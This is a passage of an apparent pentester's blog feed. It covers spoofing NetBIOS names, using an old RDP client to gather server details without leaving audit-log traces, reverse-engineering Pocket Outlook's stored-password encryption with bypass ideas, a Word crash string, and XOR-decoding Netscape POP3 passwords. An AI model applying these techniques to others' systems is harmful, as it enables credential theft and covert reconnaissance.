href="http://honeynet.rstack.org/tools.php"&gt;FakeNetBIOS&lt;/a&gt; tools, but they rely on raw sockets, which are broken on Windows XP SP2. Another would be to use &lt;a href="http://www.secdev.org/projects/scapy/"&gt;Scapy&lt;/a&gt; as a NBNS responder, but Windows port is not mature yet :)&lt;br /&gt;&lt;br /&gt;As usual, the best solution is to rely on Windows built-in mechanisms to solve the puzzle.&lt;br /&gt;&lt;br /&gt;Under &lt;a href="http://www.jsifaq.com/SF/Tips/Tip.aspx?id=0062"&gt;&lt;b&gt;HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters&lt;/b&gt;&lt;/a&gt;, there is a value of type REG_MULTI_SZ called &lt;b&gt;OptionalNames&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Any name put in there will be claimed by the local computer during NBNS name resolution. Then:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;net stop lanmanserver&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;net start lanmanserver&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Job done!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-4954701825036762442?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/4954701825036762442/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=4954701825036762442' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4954701825036762442'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4954701825036762442'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/02/pentester-trick-2-faking-netbios-names.html' title='Pentester trick #2: faking NetBIOS names'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-8319708997703277177</id><published>2008-02-20T07:10:00.004+01:00</published><updated>2008-02-20T10:28:18.864+01:00</updated><title type='text'>Pentester trick #1: using RDP Client 5 on Vista</title><content type='html'>&lt;a href="http://nonop.blogspot.com/"&gt;Nonop&lt;/a&gt;'s recent &lt;a href="http://nonop.blogspot.com/2008/02/kit-du-pentester.html"&gt;post&lt;/a&gt; on pentester's essentials was inspiring enough for me to get back on-line, on this long-abandoned blog.&lt;br /&gt;&lt;br /&gt;So here is the first post of a (hopefully long) series about pentester tricks, from my very own field experience. Enjoy!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Trick #1 : using RDP Client 5 on Vista&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;RDP Client 5 has a great advantage over RDP Client 6 : it allows connecting to the remote target without giving any credential ; thus the pentester can get access to server version, computer name and trusted domains, without leaving any track in the security audit trail.&lt;br /&gt;&lt;br /&gt;However RDP Client 6 has been pushed on Windows Update quite a while ago, and is required in some cases (like Windows Vista/2008 Remote Desktop with full security options ... which are recommended given flaws found in &lt;a href="http://www.oxid.it/downloads/rdp-gbu.pdf"&gt;previous versions of RDP protocol&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Fortunately, it is quite easy to make both clients living together. RDP Client 5 consists of only 2 binaries : MSTSC.EXE and MSTSCAX.DLL. The trick is to copy both files, and to create a MSTSC.EXE.LOCAL file in the same directory. This will force MSTSC.EXE to load libraries from the current directory instead of the global system directory.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/rdp.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/tech/rdp.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;References: [&lt;a href="http://msdn2.microsoft.com/en-us/library/ms682600.aspx"&gt;1&lt;/a&gt;] [&lt;a href="http://msdn2.microsoft.com/en-us/library/ms811694.aspx"&gt;2&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-8319708997703277177?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/8319708997703277177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=8319708997703277177' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8319708997703277177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/8319708997703277177'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2008/02/pentester-trick-1-using-rdp-client-5-on.html' title='Pentester trick #1: using RDP Client 5 on Vista'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-115099025036291959</id><published>2006-06-22T16:25:00.000+01:00</published><updated>2006-11-14T21:05:07.331+01:00</updated><title type='text'></title><content type='html'>&lt;h1&gt;Recovering Pocket Outlook passwords, part 2&lt;/h1&gt;&lt;h2&gt;Having a BLOB&lt;/h2&gt;Now, it is time to recover the password from the protected BLOB. First step is to get a valid BLOB, we do that by setting a breakpoint just before and just after CryptProtectData().&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Before:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;BLOB = {&lt;br /&gt;size=0x0A (10)&lt;br /&gt;data=L"toto"&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;After:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:courier new;font-size:85%;"  &gt;BLOB = {&lt;br /&gt;size=0x7E (126)&lt;br /&gt;data=&lt;br /&gt;00075C40 DCD          1&lt;br /&gt;00075C44 DCD          0&lt;br /&gt;00075C48 DCD          0&lt;br /&gt;00075C4C DCD          0&lt;br /&gt;00075C50 DCD          0&lt;br /&gt;00075C54 DCD 0x20000000&lt;br /&gt;00075C58 DCD          0&lt;br /&gt;00075C5C DCD     0x6801&lt;br /&gt;00075C60 DCD       0x10&lt;br /&gt;00075C64 DCD       0x10&lt;br /&gt;00075C68 DCD  0xFD7C53C&lt;br /&gt;00075C6C DCD 0x5CD8C0A3&lt;br /&gt;00075C70 DCD 0x7A39FA3F&lt;br /&gt;00075C74 DCD 0xDA8959BD&lt;br /&gt;00075C78 DCD          0&lt;br /&gt;00075C7C DCD     0x8004&lt;br /&gt;00075C80 DCD       0x10&lt;br /&gt;00075C84 DCD       0x10&lt;br /&gt;00075C88 DCD 0x65412C18&lt;br /&gt;00075C8C DCD  0x6EDAE82&lt;br /&gt;00075C90 DCD  0xE76ADC3&lt;br /&gt;00075C94 DCD 0xC909937A&lt;br /&gt;00075C98 DCD        0xA&lt;br /&gt;00075C9C DCD 0x720053C6&lt;br /&gt;00075CA0 DCD 0x6CD865A4&lt;br /&gt;00075CA4 DCD   0x14C609&lt;br /&gt;00075CA8 DCD 0xD5870000&lt;br /&gt;00075CAC DCD 0x87F4EAE5&lt;br /&gt;00075CB0 DCD 0xCBB1CE52&lt;br /&gt;00075CB4 DCD 0x19CDF0BB&lt;br /&gt;00075CB8 DCD 0xCC3F1E90&lt;br /&gt;00075CBC DCD     0xCB6D&lt;/span&gt;   &lt;h2&gt;Finding password store&lt;/h2&gt;Since passwords survive a reboot, this BLOB has to be stored somewhere in a persistent storage area. Under Windows CE 4.2, the most common way to do this is to use a Database.&lt;br /&gt;&lt;br /&gt;Having a look at system databases (using &lt;a href="http://www.tucows.com/Windows/PDA/WindowsCE/PIM/DatabaseTools/"&gt;HPC Database Viewer&lt;/a&gt; for example), we quickly find that the BLOB is stored in the "pMailFolders" database, with property identifier #0x8304.&lt;br /&gt;&lt;h2&gt;Getting the password back&lt;/h2&gt;There are several steps to retrieve a cleartext password:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Getting the BLOB out of the Database ;&lt;/li&gt;&lt;li&gt;Calling CryptUnprotectData() correctly.&lt;/li&gt;&lt;/ul&gt;Let's write a little &lt;a href="http://newsoft.dyndns.org/blog/GetPassword-free.zip"&gt;piece of code&lt;/a&gt; that does both. Surprisingly, it works out of the box! That means that the CRYPTPROTECT_SYSTEM flag is not enforced by the kernel in my case!&lt;br /&gt;&lt;br /&gt;In case CryptUnprotectData() fails, here are some tricks that could work:&lt;br /&gt;&lt;/http:&gt;&lt;ul&gt;&lt;li&gt;&lt;http:&gt;Calling COREDLL!SetProcPermissions(-1) ;&lt;/http:&gt;&lt;/li&gt;&lt;li&gt;&lt;http:&gt;Traditional WriteProcessMemory()/CreateRemoteThread() combination ;&lt;/http:&gt;&lt;/li&gt;&lt;li&gt;&lt;http:&gt;Understanding the CryptoAPI BLOB format, for hand decryption.&lt;/http:&gt;&lt;/li&gt;&lt;/ul&gt;&lt;http:&gt;If you want to know more ... just send me PDA's :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Greets: mao from &lt;a href="http://www.oxid.it/"&gt;oxid.it&lt;/a&gt;&lt;/span&gt; &lt;/http:&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-115099025036291959?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/115099025036291959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=115099025036291959' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/115099025036291959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/115099025036291959'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2006/06/recovering-pocket-outlook-passwords_22.html' title=''/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-115073153159963362</id><published>2006-06-19T16:17:00.000+01:00</published><updated>2006-11-14T21:05:07.269+01:00</updated><title type='text'></title><content type='html'>&lt;h1&gt;Recovering Pocket Outlook passwords, part 1&lt;/h1&gt;&lt;h2&gt;What are we doing here ?&lt;/h2&gt;We are trying to recover stored passwords inside a Windows Mobile PDA. The target configuration is:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Software: Windows Mobile 2003 1st Ed.&lt;/li&gt;&lt;li&gt;Hardware: HP iPaq 5550 w/ French ROM v1.10&lt;/li&gt;&lt;li&gt;Tools: &lt;a href="http://www.datarescue.com/idabase/index.htm"&gt;IDA Pro&lt;/a&gt; 5.0 w/ WinCE Debugging Module, &lt;a href="http://www.xs4all.nl/%7Eitsme/"&gt;ITSME&lt;/a&gt; tools&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Analysis&lt;/h2&gt;&lt;h3&gt;Looking for an entry point&lt;/h3&gt;"Pocket Outlook" is named internally the "TMAIL.EXE" application. One way to begin the analysis is to look for the "save password" checkbox inside resources. However, "TMAIL.EXE" has few resources and many dependencies. Having a closer look, it appears that all resources are located inside "OUTRES.DLL". This is not an explicit dependency, for it is loaded through a LoadLibraryW() call.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/blog/outres.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/outres.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;loading&gt;Two dialogs have the "save password" checkbox: #32803 and #32955.&lt;br /&gt;&lt;step3&gt;&lt;br /&gt;&lt;/step3&gt;&lt;/loading&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/blog/dialog.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/dialog.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;loading&gt;&lt;step3&gt;At some point, the application will have to get the password value from the textbox. This is where debugging comes into play. There are only 10 references to GetDlgItemTextW() - it seems easy to put 10 breakpoints and narrow down the search.&lt;br /&gt;&lt;/step3&gt;&lt;/loading&gt;&lt;h3&gt;Debugging TMAIL.EXE&lt;/h3&gt;However TMAIL.EXE is a ROM application, so no breakpoint can be set! The trick here is to kill the running TMAIL.EXE application and have the TMAIL.EXE application running from Flash memory.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;Z:\TMAIL Reversing\ITSME tools\itsutils\build&gt;pps&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;handle    n base      kern  user    heap exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;13878f82  1 1c000000   0.0   0.0       0 Notes.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;1395a67e  5 16000000   0.0   0.0       0 DM_k.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;13a27efe  2 12000000   0.0   0.0       0 BTTrayCE.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;13c528fe  5 0a000000   0.0   0.0       0 srvtrust.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;13cfa6de 15 06000000   0.0   0.0       0 gwes.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;13fb7002  1 c2000000   0.0   0.0       0 NK.EXE&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;337a1d4a  5 22000000   0.0   0.0       0 tmail.exe -RunInBKG&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;33809952  3 1a000000   0.0   0.0       0 repllog.exe /remote /all /h /p:all&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;33ef189a  1 14000000   0.0   0.0       0 BioDetect.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;5346547e  1 1e000000   0.0   0.0       0 calc.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;53f47e5e 67 08000000   0.0   1.9       0 device.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;73c578c6  5 0c000000   0.0   0.0       0 shell32.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;73f8e822  6 04000000   0.0   0.0       0 filesys.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;9335818e  3 26000000   0.0   0.0       0 udp2tcp.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;93405292  1 28000000   0.0   0.0       0 cerdisp.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;934dd936  4 20000000   0.0  13.0       0 rapisrv.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;b395afd6  5 18000000   0.0   0.0       0 poutlook.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;b3c577d6  2 10000000   0.0   0.0       0 connmgr.exe&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;f340541e  2 24000000   0.0   0.0       0 rnaapp.exe -n -m -e"`USB Default"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;f3c5790e  5 0e000000   0.0   0.0       0 services.exe&lt;br /&gt;60&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;  0 ........   0.0  14.9       0 total&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;Z:\TMAIL Reversing\ITSME tools\itsutils\build&gt;pkill tmail.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;00000000 | tmail.exe killed&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now we can see that the "good" call is coming from some sub @ 0x3AEE8.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/blog/goodcall.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/goodcall.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;h3&gt;Tracing further&lt;/h3&gt;GetDlgItemTextW() prototype is the following (including registers used in ARM calling convention):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;UINT GetDlgItemText(&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;[R0]  HWND hDlg,&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;[R1]  int nIDDlgItem,&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;[R2]  LPTSTR lpString,&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;[R3]  int nMaxCount&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;R1 will take the following values:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;0x805B account name&lt;/li&gt;&lt;li&gt;0x805C login name&lt;/li&gt;&lt;li&gt;0x805D password&lt;/li&gt;&lt;/ul&gt;Now we have to track the use of the password string. Placing a hardware read breakpoint on it, we are interrupted inside COREDLL with the following call stack: COREDLL &lt;- wcslen() &lt;- sub_355D8().  &lt;h3&gt;The heart of it all&lt;/h3&gt;  A few lines below lays what we were looking for: a CryptProtectData() call!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/blog/cryptprotectdata.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/blog/cryptprotectdata.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;cryptprotectdata&gt;CryptProtectData() prototype is the following (including registers used in ARM calling convention):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;BOOL WINAPI CryptProtectData(&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[R0]    DATA_BLOB* pDataIn,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[R1]    LPCWSTR szDataDescr,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[R2]    DATA_BLOB* pOptionalEntropy,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[R3]    PVOID pvReserved,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[stack] CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[stack] DWORD dwFlags,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;[stack] DATA_BLOB* pDataOut&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Now the values are:&lt;br /&gt;&lt;br /&gt;arg0 = input buffer (our password, in Unicode form)&lt;br /&gt;arg1 = NULL&lt;br /&gt;arg2 = "Software\Microsoft\Inbox\Svc" (optional entropy string, of length 0x38)&lt;br /&gt;arg3 = NULL&lt;br /&gt;arg4 = NULL&lt;br /&gt;arg5 = 0x20000000&lt;br /&gt;arg6 = some output buffer&lt;br /&gt;&lt;/cryptprotectdata&gt;&lt;h3&gt;The problem&lt;/h3&gt;From WINCRYPT.H, we can see that 0x20000000 corresponds to the CRYPTPROTECT_SYSTEM flag.&lt;br /&gt;&lt;br /&gt;And there we have a problem: only a "trusted" process will be allowed to access the data. In this case, that means a ROM-based process.&lt;br /&gt;&lt;br /&gt;Solution ? You will have to wait for the next blog entry :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-115073153159963362?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/115073153159963362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=115073153159963362' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/115073153159963362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/115073153159963362'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2006/06/recovering-pocket-outlook-passwords.html' title=''/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-114977836809464188</id><published>2006-06-08T15:36:00.000+01:00</published><updated>2006-11-14T21:05:07.210+01:00</updated><title type='text'></title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Word "0day" : was it a 0day ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We have all heard about the recent Word flaw that has been exploited by targeted attacks (if you are now familiar with those, read [&lt;a href="http://isc.sans.org/diary.php?storyid=1345"&gt;1&lt;/a&gt;] and [&lt;a href="http://isc.sans.org/diary.php?storyid=1346"&gt;2&lt;/a&gt;]). If you have an account on &lt;a href="http://www.openrce.org/"&gt;OpenRCE&lt;/a&gt; (free), you can also read Kostya's blog on the topic.&lt;br /&gt;&lt;br /&gt;However, reading Technet Flash Volume 8/Issue 11 from Microsoft (currently available &lt;a href="http://www.microsoft.com/technet/abouttn/subscriptions/flash/current.htm"&gt;here&lt;/a&gt;, or later in the &lt;a href="http://www.microsoft.co.ke/technet/abouttn/subscriptions/flash/archive/default.mspx"&gt;archives&lt;/a&gt;), I was wondering about the following line:&lt;br /&gt;&lt;blockquote&gt;"Microsoft Security Advisory (919637): Vulnerability in Word Could Allow Remote Code Execution&lt;br /&gt;&lt;br /&gt;Microsoft has released an advisory on a zero-day exploit that could affect users of Word Smart Tags."&lt;/blockquote&gt;So the flaw would lie in the "Smart Tags" feature of Word. This feature is in charge of converting "1. L" to "1 liter", and was &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; present in Office 2000, which is unaffected by the flaw.&lt;br /&gt;&lt;br /&gt;I could not help but thinking about the following &lt;a href="http://archives.neohapsis.com/archives/vuln-dev/2006-q2/0038.html"&gt;post&lt;/a&gt; I have discarded a few weeks ago:&lt;br /&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;span style="font-size:78%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;&lt;span style="font-size:78%;"&gt;Possible Overflow in MS Word 2003&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;I've found a bug in Word 2003, that could possibly lead to a buffer overflow.&lt;br /&gt;To reproduce the bug, you have simply to create a document with a word of 32 or 33 characters (letters or numbers), followed by "." and some other character. Ex.:&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;01234567890123456789012345678901. Test&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=";font-family:arial;font-size:85%;"  &gt;The text above should crash MS Word 2003, with Buffer Overrun error.&lt;/span&gt;&lt;/blockquote&gt;Strange coincidence, isn't it ?&lt;br /&gt;&lt;br /&gt;PS. To be safe from this flaw, just use "winword.exe /safe". This is &lt;a href="http://office.microsoft.com/en-us/assistance/HP030823931033.aspx"&gt;not&lt;/a&gt; a joke.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-114977836809464188?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/114977836809464188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=114977836809464188' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114977836809464188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/114977836809464188'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2006/06/word-0day-was-it-0day-we-have-all.html' title=''/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-114547746881277433</id><published>2006-04-19T21:10:00.000+01:00</published><updated>2006-11-14T21:05:07.150+01:00</updated><title type='text'></title><content type='html'>&lt;span style="font-weight: bold;font-size:130%;" &gt;Recovering Netscape Communicator 4.7 POP3 passwords&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Some people are still using Netscape Communicator 4.7, you know -- and they might have to recover forgotten POP3 passwords ...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 1 : FILEMON and REGMON&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Monitoring Netscape activity, it becomes pretty obvious that passwords are stored:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;under the following registry key, of type REG_SZ:&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:courier new;"&gt;HKCU\Software\Netscape\Netscape Navigator\biff\users\&lt;span style="font-style: italic;"&gt;user name&lt;/span&gt;\servers\&lt;span style="font-style: italic;"&gt;server name&lt;/span&gt;\password&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;in two files (&lt;span style="font-family:courier new;"&gt;prefs.js&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;liprefs.js&lt;/span&gt;), located inside the following directory:&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\Netscape\Users\&lt;span style="font-style: italic;"&gt;user name&lt;/span&gt;\&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;For example, let's say that both values are :&lt;br /&gt;&lt;ul&gt;&lt;li style="font-family: courier new;"&gt;=pGpFLmBAYsBTTdV&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:courier new;"&gt;user_pref("mail.pop_password", "IqGGOfLNOzYScTc=");&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 2: hand decryption&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;At first sight, it looks like file-stored passwords are relying on Base64 encoding (because of the = sign at the end). After a few tests, it is also noticeable that:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Original and encoded passwords have same length&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Same passwords give same results&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;So we have unsalted, fixed-key encrypted passwords. Some people have already found that the encryption scheme is plain old XOR, so it is possible to recover the beginning of the XOR stream, by encrypting a known password and XOR-ing it with the result. First bytes can be found using a trivial Python script:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import base64&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;import operator&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;input  = base64.b64decode("IqGGOfLNOzYScTc=")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;key    = "thisisatest"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;print map(operator.xor, map(ord, input), map(ord, key))&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;[86, 201, 239, 74, 155, 190, 90, 66, 119, 2, 67]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, this does not work for registry-stored passwords, and is totally unsatisfactory for the mind :)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Step 3 : binary analysis&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So it's time to have a closer look at &lt;span style="font-style: italic;"&gt;NETSCAPE.EXE&lt;/span&gt; ... The binary file is huge (over 5 MB), but not stripped - which is &lt;span style="font-style: 